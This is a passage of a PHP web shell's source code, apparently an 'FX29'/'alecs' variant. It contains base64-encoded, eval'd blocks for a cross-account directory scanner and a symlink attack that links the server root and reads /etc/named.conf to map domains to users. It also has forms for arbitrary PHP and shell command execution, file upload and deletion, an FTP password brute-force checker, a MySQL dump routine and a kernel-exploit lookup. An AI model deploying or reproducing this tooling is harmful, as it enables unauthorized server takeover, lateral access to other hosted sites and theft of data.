2403 CBdPT09PT09PT09PT09PT09PT09Wy1dICA8YnI+PC9mb250PlxuIjsNCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikNCnsNCmVjaG8gIjxmb250IHNpemU9JzMnIGNv
2404 bG9yPScjZWUwODA4JyBmYWNlPSdDYWxpYnJpJz4gWytdIC9ob21lLyR1c2VyL3B1YmxpY19odG1sLzwvZm9udD48YnIvPiI7DQp9DQplY2hvICJcbiA8Zm9udCBzaXp
2405 lPSczJyBjb2xvcj0nIzAwODA4MCcgZmFjZT0nQ2FsaWJyaSc+PGJyPlstXT09PT09PT09PT09PT09PT09PVsgRklOSVNIIF09PT09PT09PT09PT09PT09PT1bLV0gPG
2406 JyPjwvZm9udD5cbiI7DQplY2hvICJcbiA8Zm9udCBzaXplPScyJyBjb2xvcj0nIzgwMDAwMCcgZmFjZT0nQ2FsaWJyaSc+SnVtcGluZyBTY2FubmVyIGlzIENvbXBsZ
2407 XRlZCE8L2ZvbnQ+XG4iOw==");
2408 eval ($ngipmuj);
2409}
2410
2411 if ($act == "sym") {
2412$knilmys = base64_decode("QHNldF90aW1lX2xpbWl0KDApOw0KJGhuMSA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUV
2413TVF9VUkknXTsNCiRobjIgPWV4cGxvZGUoJy8nLCRobjEgKTsNCiRobjEgPXN0cl9yZXBsYWNlKCRobjJbY291bnQoJGhuMiktMV0sJycsJGhuMSApOw0KDQpAbWtkaXIo
2414J3N5bScsMDc3Nyk7DQokaG4xICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIY
2415W5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbi
2416BTYXRpc2Z5IEFueSI7DQokaG4yID1AZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpOw0KZndyaXRlKCRobjIgLCRobjEpOw0KQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCc
2417pOw0KaWYoaXNzZXQoJF9SRVFVRVNUWydhY3QnXSkpDQp7DQpzd2l0Y2ggKCRfUkVRVUVTVFsnYWN0J10pDQp7DQpjYXNlICdzeW0nOg0KJGhuNCA9IEBmaWxlKCcvZXRj
2418L25hbWVkLmNvbmYnKTsNCmlmKCEkaG40KQ0Kew0KZGllICgiIGNhbid0IHJlYWQgL2V0Yy9uYW1lZC5jb25mIik7DQp9DQplbHNlDQp7DQplY2hvICI8ZGl2IGNsYXNzP
2419Sd0bXAnPjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJz48dGQ+RG9tYWluczwvdGQ+PHRkPlVzZXJzPC90ZD48dGQ+U3ltbGluayA8L3RkPiI7DQpmb3JlYW
2420NoKCRobjQgYXMgJGhuNSl7DQppZihlcmVnaSgnem9uZScsJGhuNSkpew0KcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRobjUsJGhuNik7DQpmbHVzaCgpOw0
2421KaWYoc3RybGVuKHRyaW0oJGhuNlsxXVswXSkpID4yKXsNCiRobjcgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJGhuNlsxXVswXSkp
2422Ow0KJGhuOCA9ICRobjdbJ25hbWUnXSA7DQpAc3ltbGluaygnLycsJ3N5bS9yb290Jyk7DQokaG44ID0gJGhuNlsxXVswXTsNCiRobjkgPSAnXC5pcic7DQokaG4xMCA9I
2423CdcLmlsJzsNCmlmIChlcmVnaSgiJGhuOSIsJGhuNlsxXVswXSkgb3IgZXJlZ2koIiRobjEwIiwkaG42WzFdWzBdKSApDQp7DQokaG44ID0gIjxkaXYgc3R5bGU9JyBjb2
2424xvcjogI0ZGMDAwMCA7IHRleHQtc2hhZG93OiAwcHggMHB4IDFweCByZWQ7ICc+Ii4kaG42WzFdWzBdLic8L2Rpdj4nOw0KfQ0KZWNobyAiDQo8dHI+DQoNCjx0ZD4NCjx
2425kaXYgY2xhc3M9J2RvbSc+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9aHR0cDovL3d3dy4iLiRobjZbMV1bMF0uJy8+Jy4kaG44LicgPC9hPiA8L2Rpdj4NCjwvdGQ+DQoN
2426Cg0KPHRkPg0KJy4kaG43WyduYW1lJ10uIg0KPC90ZD4NCg0KPHRkPg0KPGEgaHJlZj0nc3ltL3Jvb3QvaG9tZS8iLiRobjdbJ25hbWUnXS4iL3B1YmxpY19odG1sJyB0Y
2427XJnZXQ9J19ibGFuayc+c3ltbGluayA8L2E+DQo8L3RkPg0KDQo8L3RyPjwvZGl2PiAiOw0KZmx1c2goKTsNCn0NCn0NCn0NCn0NCn0NCn0=");
2428eval ($knilmys);
2429 }
2430
2431 ##[ EVAL ]##
2432 if ($act == "eval") {
2433 if (!empty($eval)) {
2434 bar_header("Result of execution this PHP-code:");
2435 $tmp = @ob_get_contents();
2436 $olddir = realpath(".");
2437 @chdir($d);
2438 if ($tmp) {
2439 @ob_clean();
2440 eval($eval);
2441 $ret = @ob_get_contents();
2442 $ret = convert_cyr_string($ret,"d","w");
2443 @ob_clean();
2444 echo $tmp;
2445 if (@$eval_txt) {
2446 $rows = count(explode("\r\n",$ret))+1;
2447 if ($rows < 10) {$rows = 10;}
2448 echo "<br><textarea cols=\"125\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
2449 }
2450 else {echo $ret."<br>";}
2451 }
2452 else {
2453 if ($eval_txt) {
2454 echo "<br><textarea cols=\"125\" rows=\"10\" readonly>";
2455 eval($eval);
2456 echo "</textarea>";
2457 }
2458 else {echo $ret;}
2459 }
2460 @chdir($olddir);
2461 }
2462 else {
2463 bar_header(".: PHP-code Execution :.");
2464 if (empty($eval_txt)) { $eval_txt = TRUE; }
2465 }
2466?>
2467<form name="f_eval" action="<?php echo $surl; ?>" method="post">
2468 <input type="hidden" name="act" value="eval">
2469 <textarea name="eval" cols="125" rows="10">
2470<?php
2471echo htmlspecialchars(@$eval);
2472?>
2473 </textarea>
2474 <input type="hidden" name="d" value="<?php echo $dispd; ?>"><br>
2475 <input type="submit" value="Execute"> Display in text-area <input type="checkbox" name="eval_txt" value="1"<?php if (@$eval_txt) { echo " checked"; } ?>>
2476</form>
2477<?php
2478 }
2479 ##[ UPDATE ]##
2480 if ($act == "update") {
2481 $ret = alecs_getupdate(@$confirmupdate);
2482 echo "<b>$ret</b>";
2483 if (stristr($ret,"new version")) {
2484 echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";
2485 }
2486 }
2487 if ($act == "phpinfo") { @ob_clean(); phpinfo(); alecsexit(); }
2488 if ($act == "tools") { alecs_tools(); }
2489 if ($act == "about") { alecs_about(); }
2490}
2491######################
2492##[ END OF ACTIONS ]##
2493######################
2494##[ COMMANDS PANEL ]##
2495######################
2496?>
2497</div>
2498<!-- End of Main Info -->
2499<!-- Commands Panel -->
2500<div id="main">
2501 <div class="bartitle"><b>.: COMMANDS PANEL :.</b></div>
2502<table id="mainpanel">
2503 <tr><th colspan="2">Command:</th>
2504 <td>
2505 <form name="f_cmd" method="post">
2506 <input type="hidden" name="act" value="cmd">
2507 <input type="hidden" name="d" value="<?php echo $dispd; ?>">
2508 <input type="hidden" name="cmd_txt" value="1">
2509 <input type="text" name="cmd" size="100" value="<?php echo @htmlspecialchars($cmd); ?>">
2510 <input type="submit" name="submit" value="Execute">
2511 </form>
2512 </td></tr>
2513 <tr><th colspan="2">Quick Commands:</th>
2514 <td>
2515 <form name="f_qcmd" method="post">
2516 <input type="hidden" name="act" value="cmd">
2517 <input type="hidden" name="d" value="<?php echo $dispd; ?>">
2518 <input type="hidden" name="cmd_txt" value="1">
2519 <select name="cmd">
2520<?php
2521foreach ($cmdaliases as $als) {
2522 echo "\t\t\t";
2523 echo '<option value="'.htmlspecialchars($als[1]).'">'.htmlspecialchars($als[0]).'</option>';
2524 echo "\n";
2525}
2526?>
2527 </select>
2528 <input type="submit" name="submit" value="Execute">
2529 </form>
2530 </td></tr>
2531 <tr><th colspan="2" rowspan="2">PHP Filesystem:</th>
2532 <td>
2533 <script language="javascript">
2534 function set_arg(txt1,txt2) {
2535 document.forms.fphpfsys.phpfsysfunc.value.selected = "Download";
2536 document.forms.fphpfsys.arg1.value = txt1;
2537 document.forms.fphpfsys.arg2.value = txt2;
2538 }
2539 function chg_arg(num,txt1,txt2) {
2540 if (num==0) {
2541 document.forms.fphpfsys.arg1.type = "hidden";
2542 document.forms.fphpfsys.A1.type = "hidden";
2543 }
2544 if (num<=1) {
2545 document.forms.fphpfsys.arg2.type = "hidden";
2546 document.forms.fphpfsys.A2.type = "hidden";
2547 }
2548 if (num==2) {
2549 document.forms.fphpfsys.A1.type = "label";
2550 document.forms.fphpfsys.A2.type = "label";
2551 document.forms.fphpfsys.arg1.type = "text";
2552 document.forms.fphpfsys.arg2.type = "text";
2553 }
2554 document.forms.fphpfsys.A1.value = txt1 + ":";
2555 document.forms.fphpfsys.A2.value = txt2 + ":";
2556 }
2557 </script>
2558 <form name="fphpfsys" method="post">
2559 <input type="hidden" name="act" value="phpfsys">
2560 <input type="hidden" name="d" value="<?php echo $dispd; ?>">
2561 <select name="phpfsysfunc">
2562<?php
2563foreach ($phpfsaliases as $als) {
2564 if ($als[1]==@$phpfsysfunc) {
2565 echo "\t\t<option selected value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\n";
2566 }
2567 else {
2568 echo "\t\t<option value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','".@$als[4]."')\">".$als[0]."</option>\n";
2569 }
2570}
2571?>
2572 </select>
2573 <input type="label" name="A1" value="File:" size=2 disabled>
2574 <input type=text name=arg1 size=40 value="<?php echo @htmlspecialchars($arg1); ?>">
2575 <input type="hidden" name="A2" size=3 disabled >
2576 <input type="hidden" name="arg2" size=40 value="<?php echo @htmlspecialchars($arg2); ?>">
2577 <input type="submit" name="submit" value="Execute">
2578 </form>
2579 </td></tr>
2580 <tr><td>
2581<?php
2582foreach ($sh_sourcez as $e => $o) {
2583 echo "\t<input type=button value=\"$e\" onclick=\"set_arg('$o[0]','$o[1]')\">\n";
2584}
2585?>
2586 </td></tr>
2587
2588 <tr><th rowspan="4">Filesystem</th>
2589 <th>Search:</th>
2590 <td>
2591 <form name="f_search" method="post">
2592 <input type="hidden" name="act" value="search">
2593 <input type="hidden" name="d" value="<?php echo $dispd; ?>">
2594 <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search">
2595 </form>
2596 </td></tr>
2597 <tr><th>Upload:</th>
2598 <td>
2599 <form name="f_upload" method="post" enctype="multipart/form-data">
2600 <input type="hidden" name="act" value="upload">
2601 <input type="file" name="uploadfile" size="50">
2602 <input type="submit" name="submit" value="Upload">
2603 <?php echo "<small>Max size: ".@ini_get("upload_max_filesize")."B | Temp dir: ".@ini_get("upload_tmp_dir")."</small>\n"; ?>
2604 </form>
2605 </td></tr>
2606 <tr><th>Create:</th>
2607 <td>
2608 <form name="f_mkfile" method="post">
2609 <input type="hidden" name="act" value="mkfile">
2610 <input type="hidden" name="d" value="<?php echo $dispd; ?>">
2611 <input type="hidden" name="ft" value="edit">
2612 <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create">
2613 </form>
2614 </td></tr>
2615 <tr><th>View:</th><td>
2616 <form name="f_gofile" method="post">
2617 <input type="hidden" name="act" value="gofile">
2618 <input type="hidden" name="d" value="<?php echo $dispd; ?>">
2619 <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> <input type="submit" value="View">
2620 </form>
2621 </td></tr>
2622</table>
2623
2624 <div class="bartitle footer"><?php echo html_footer(); ?></div>
2625
2626</div>
2627<!-- End of Commands Panel -->
2628</center></body>
2629</html>
2630<?php
2631#################
2632##[ FUNCTIONS ]##
2633#################
2634function safemode() {
2635 if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; }
2636 else { return FALSE; }
2637}
2638function getdisfunc() {
2639 $disfunc = @ini_get("disable_functions");
2640 if (!empty($disfunc)) {
2641 $disfunc = str_replace(" ","",$disfunc);
2642 $disfunc = explode(",",$disfunc);
2643 }
2644 else { $disfunc= array(); }
2645 return $disfunc;
2646}
2647function enabled($func) {
2648 if ( function_exists($func) && is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; }
2649 else { return FALSE; }
2650}
2651##[ FX29EXEC W/ STDERR ]##
2652function fx29exec($cmd) {
2653 $output = "";
2654 if ( enabled("popen") ) {
2655 $h = popen($cmd.' 2>&1', 'r');
2656 if ( is_resource($h) ) {
2657 while ( !feof($h) ) { $output .= fread($h, 2096); }
2658 pclose($h);
2659 }
2660 }
2661 elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2662 elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2663 elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
2664 elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
2665 return $output;
2666}
2667##[ FX29EXEC W/O STDERR ]##
2668function fx29exec2($cmd) {
2669 $output = "";
2670 if ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
2671 elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
2672 elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } #Dipindahkan kesini karena menimbulkan masalah pada output control
2673 elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2674 elseif ( enabled("popen") ) {
2675 $h = popen($cmd.' 2>&1', 'r');
2676 if ( is_resource($h) ) {
2677 while ( !feof($h) ) { $output .= fread($h, 2096); }
2678 pclose($h);
2679 }
2680 }
2681 return $output;
2682}
2683function is_windows() { return strtolower(substr(PHP_OS,0,3)) == "win"; }
2684function which($pr) {
2685 $path = fx29exec("which $pr");
2686 if(!empty($path)) { return $path; } else { return $pr; }
2687}
2688function get_status() {
2689 $arrfunc = array(
2690 array("MySQL","mysql_connect"),
2691 array("MSSQL","mssql_connect"),
2692 array("Oracle","ocilogon"),
2693 array("PostgreSQL","pg_connect"),
2694 array("Curl","curl_version"),
2695 );
2696 $arrcmd = array(
2697 array("Fetch","fetch --help"),
2698 array("Wget","wget --help"),
2699 array("Perl","perl -v"),
2700 );
2701 $statinfo = array();
2702 function showstat($sup,$stat) {
2703 if ($stat == "on") { return "$sup: <font class=on>ON</font>"; }
2704 else { return "$sup: <font class=off>OFF</font>"; }
2705 }
2706 foreach ($arrfunc as $func) {
2707 if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); }
2708 else { $statinfo[] = showstat($func[0],"off"); }
2709 }
2710 $statinfo[] = (@extension_loaded('sockets')) ? showstat("Sockets","on") : showstat("Sockets","off");
2711 foreach ($arrcmd as $cmd) {
2712 if (fx29exec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); }
2713 else { $statinfo[] = showstat($cmd[0],"off"); }
2714 }
2715 return implode(" ",$statinfo);
2716}
2717function showdisfunc() {
2718 $disfunc = getdisfunc();
2719 if ($disfunc = @ini_get("disable_functions")) {
2720 return '<font class="off">'.$disfunc.'</font>';
2721 }
2722 else { return '<font class="on">NONE</font>'; }
2723}
2724function disp_drives($curdir,$surl) {
2725 $letters = "";
2726 $v = explode("\\",$curdir);
2727 $v = $v[0];
2728 foreach (range("A","Z") as $letter) {
2729 $bool = $isdiskette = $letter == "A";
2730 if (!$bool) { $bool = is_dir($letter.":\\"); }
2731 if ($bool) {
2732 $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".
2733 ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly!')\"":"")."> ";
2734 if ($letter.":" != $v) { $letters .= $letter; }
2735 else { $letters .= "<font color=#3366FF>".$letter."</font>"; }
2736 $letters .= " </a> ";
2737 }
2738 }
2739 if (!empty($letters)) { Return $letters; }
2740 else { Return "None"; }
2741}
2742function view_size($size) {
2743 if (!is_numeric($size)) { return FALSE; }
2744 else {
2745 if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
2746 elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
2747 elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
2748 else {$size = $size . " B";}
2749 return $size;
2750 }
2751}
2752function disp_freespace($curdrv) {
2753 $free = @disk_free_space($curdrv);
2754 $total = @disk_total_space($curdrv);
2755 if ($free === FALSE) { $free = 0; }
2756 if ($total === FALSE) { $total = 0; }
2757 if ($free < 0) { $free = 0; }
2758 if ($total < 0) { $total = 0; }
2759 $used = $total-$free;
2760 $free_percent = round(100/($total/$free),2)."%";
2761 $free = view_size($free);
2762 $total = view_size($total);
2763 return "$free of $total ($free_percent)";
2764}
2765
2766function fx29_buff_prepare() {
2767 global $sess_data, $act;
2768 foreach ($sess_data["copy"] as $k=>$v) {
2769 $sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));
2770 }
2771 foreach ($sess_data["cut"] as $k=>$v) {
2772 $sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));
2773 }
2774 $sess_data["copy"] = array_unique($sess_data["copy"]);
2775 $sess_data["cut"] = array_unique($sess_data["cut"]);
2776 sort($sess_data["copy"]);
2777 sort($sess_data["cut"]);
2778 if ($act != "copy") {
2779 foreach ($sess_data["cut"] as $k=>$v) {
2780 if ($sess_data["copy"][$k] == $v) { unset($sess_data["copy"][$k]); }
2781 }
2782 }
2783 else {
2784 foreach ($sess_data["copy"] as $k=>$v) {
2785 if ($sess_data["cut"][$k] == $v) { unset($sess_data["cut"][$k]); }
2786 }
2787 }
2788}
2789function fx29_sess_put($data) {
2790 global $sess_cookie;
2791 global $sess_data;
2792 fx29_buff_prepare();
2793 $sess_data = $data;
2794 $data = serialize($data);
2795 setcookie($sess_cookie,$data);
2796}
2797##[ FILESYSTEM FUNCTIONS ]##
2798function fs_copy_dir($d,$t) {
2799 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
2800 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
2801 $h = opendir($d);
2802 while (($o = readdir($h)) !== FALSE) {
2803 if (($o != ".") and ($o != "..")) {
2804 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
2805 else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
2806 if (!$ret) {return $ret;}
2807 }
2808 }
2809 closedir($h);
2810 return TRUE;
2811}
2812function fs_copy_obj($d,$t) {
2813 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
2814 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
2815 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
2816 if (is_dir($d)) {
2817 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
2818 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
2819 return fs_copy_dir($d,$t);
2820 }
2821 elseif (is_file($d)) { return copy($d,$t); }
2822 else { return FALSE; }
2823}
2824function fs_move_dir($d,$t) {
2825 $h = opendir($d);
2826 if (!is_dir($t)) {mkdir($t);}
2827 while (($o = readdir($h)) !== FALSE) {
2828 if (($o != ".") and ($o != "..")) {
2829 $ret = TRUE;
2830 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
2831 else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
2832 if (!$ret) {return $ret;}
2833 }
2834 }
2835 closedir($h);
2836 return TRUE;
2837}
2838function fs_move_obj($d,$t) {
2839 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
2840 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
2841 if (is_dir($d)) {
2842 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
2843 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
2844 return fs_move_dir($d,$t);
2845 }
2846 elseif (is_file($d)) {
2847 if(copy($d,$t)) {return unlink($d);}
2848 else {unlink($t); return FALSE;}
2849 }
2850 else {return FALSE;}
2851}
2852function fs_rmdir($d) {
2853 $h = opendir($d);
2854 while (($o = readdir($h)) !== FALSE) {
2855 if (($o != ".") and ($o != "..")) {
2856 if (!is_dir($d.$o)) {unlink($d.$o);}
2857 else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
2858 }
2859 }
2860 closedir($h);
2861 rmdir($d);
2862 return !is_dir($d);
2863}
2864function fs_rmobj($o) {
2865 $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
2866 if (is_dir($o)) {
2867 if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
2868 return fs_rmdir($o);
2869 }
2870 elseif (is_file($o)) { return unlink($o); }
2871 else { return FALSE; }
2872}
2873##[ END FILESYSTEM FUNCTIONS ]##
2874##[ EXIT FUNCTIONS ]##
2875function alecsexit() {
2876 global $gzipencode,$ft;
2877
2878 if ( !headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")) ) {
2879 $v = @ob_get_contents();
2880 @ob_end_clean();
2881 @ob_start("ob_gzHandler");
2882 echo $v;
2883 @ob_end_flush();
2884 }
2885 exit;
2886}
2887##[ END OF EXIT FUNCTIONS ]##
2888function fx29fsearch($d) {
2889
2890 global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a;
2891 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
2892 $h = opendir($d);
2893 while (($f = readdir($h)) !== FALSE) {
2894 if($f != "." && $f != "..") {
2895 $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
2896 if (is_dir($d.$f)) {
2897 $search_i_d++;
2898 if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
2899 if (!is_link($d.$f)) { fx29fsearch($d.$f); }
2900 }
2901 else {
2902 $search_i_f++;
2903 if ($bool) {
2904 if (!empty($a["text"])) {
2905 $r = @file_get_contents($d.$f);
2906 if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
2907 if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
2908 if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
2909 else {$bool = strpos(" ".$r,$a["text"],1);}
2910 if ($a["text_not"]) {$bool = !$bool;}
2911 if ($bool) {$found[] = $d.$f; $found_f++;}
2912 }
2913 else {$found[] = $d.$f; $found_f++;}
2914 }
2915 }
2916 }
2917 }
2918 closedir($h);
2919}
2920function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);}
2921function view_perms_color($o) {
2922 if (!is_readable($o)) { return "<font class=red>".view_perms(fileperms($o))."</font>"; }
2923 elseif (!is_writable($o)) { return "<font color=white>".view_perms(fileperms($o))."</font>"; }
2924 else { return "<font color=green>".view_perms(fileperms($o))."</font>"; }
2925}
2926function view_perms($mode) {
2927 if (($mode & 0xC000) === 0xC000) {$type = "s";}
2928 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
2929 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
2930 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
2931 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
2932 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
2933 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
2934 else {$type = "?";}
2935 $owner["read"] = ($mode & 00400)?"r":"-";
2936 $owner["write"] = ($mode & 00200)?"w":"-";
2937 $owner["execute"] = ($mode & 00100)?"x":"-";
2938 $group["read"] = ($mode & 00040)?"r":"-";
2939 $group["write"] = ($mode & 00020)?"w":"-";
2940 $group["execute"] = ($mode & 00010)?"x":"-";
2941 $world["read"] = ($mode & 00004)?"r":"-";
2942 $world["write"] = ($mode & 00002)? "w":"-";
2943 $world["execute"] = ($mode & 00001)?"x":"-";
2944 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
2945 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
2946 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
2947 return $type.join("",$owner).join("",$group).join("",$world);
2948}
2949function parsesort($sort) {
2950 $one = intval($sort);
2951 $second = substr($sort,-1);
2952 if ($second != "d") {$second = "a";}
2953 return array($one,$second);
2954}
2955function parse_perms($mode) {
2956 if (($mode & 0xC000) === 0xC000) $t = "s";
2957 elseif (($mode & 0x4000) === 0x4000) $t = "d";
2958 elseif (($mode & 0xA000) === 0xA000) $t = "l";
2959 elseif (($mode & 0x8000) === 0x8000) $t = "-";
2960 elseif (($mode & 0x6000) === 0x6000) $t = "b";
2961 elseif (($mode & 0x2000) === 0x2000) $t = "c";
2962 elseif (($mode & 0x1000) === 0x1000) $t = "p";
2963 else $t = "?";
2964
2965 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
2966 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
2967 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
2968 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
2969}
2970function str2mini($content,$len) {
2971 if (strlen($content) > $len) {
2972 $len = ceil($len/2) - 2;
2973 return substr($content, 0,$len)."...".substr($content,-$len);
2974 } else {
2975 return $content;
2976 }
2977}
2978function strips(&$arr, $k="") {
2979 if (is_array($arr)) {
2980 foreach($arr as $k=>$v) {
2981 if (strtoupper($k) != "GLOBALS") strips($arr["$k"]);
2982 }
2983 }
2984 else { $arr = stripslashes($arr); }
2985}
2986function getmicrotime() {
2987 list($usec, $sec) = explode(" ", microtime());
2988 return ((float)$usec + (float)$sec);
2989}
2990function packetstorm() {
2991 $Lversion = php_uname("r");
2992 $OSV = php_uname("s");
2993 if(1=1) {
2994 $Lversion = substr($Lversion,0,6);
2995 return "http://packetstormsecurity.org/search/?q=Linux+Kernel ".$Lversion;
2996 } else {
2997 $Lversion = substr($Lversion,0,3);
2998 return "http://packetstormsecurity.org/search/?q=".$OSV." ".$Lversion;
2999 }
3000}
3001function fx29ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
3002 if ($fqb_onlywithsh) { $TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin"))); }
3003 else { $TRUE = TRUE; }
3004 if ($TRUE) {
3005 $sock = @ftp_connect($host,$port,$timeout);
3006 if (@ftp_login($sock,$login,$pass)) {
3007 echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
3008 @ob_flush();
3009 return TRUE;
3010 }
3011 }
3012}
3013##[ MySQL FUNCTIONS ]##
3014function mysql_dump($set) {
3015 $sock = $set["sock"];
3016 $db = $set["db"];
3017 $print = $set["print"];
3018 $nl2br = $set["nl2br"];
3019 $file = $set["file"];
3020 $add_drop = $set["add_drop"];
3021 $tabs = $set["tabs"];
3022 $onlytabs = $set["onlytabs"];
3023 $ret = array();
3024 $ret["err"] = array();
3025 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
3026 if (empty($db)) {$db = "db";}
3027 if (empty($print)) {$print = 0;}
3028 if (empty($nl2br)) {$nl2br = 0;}
3029 if (empty($add_drop)) {$add_drop = TRUE;}
3030 if (empty($file)) {
3031 $file = $tmp_dir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
3032 }
3033 if (!is_array($tabs)) {$tabs = array();}
3034 if (empty($add_drop)) {$add_drop = TRUE;}
3035 if (sizeof($tabs) == 0) {
3036 #Retrieve tables-list
3037 $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
3038 if (mysql_num_rows($res) > 0) {
3039 while ($row = mysql_fetch_row($res)) {
3040 $tabs[] = $row[0];
3041 }
3042 }
3043 }
3044 $out = "
3045 # Dumped by ".sh_name()."
3046 # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
3047 # Date: ".date("d.m.Y H:i:s")."
3048 # DB: \"".$db."\"
3049 #---------------------------------------------------------";
3050 $c = count($onlytabs);
3051 foreach($tabs as $tab) {
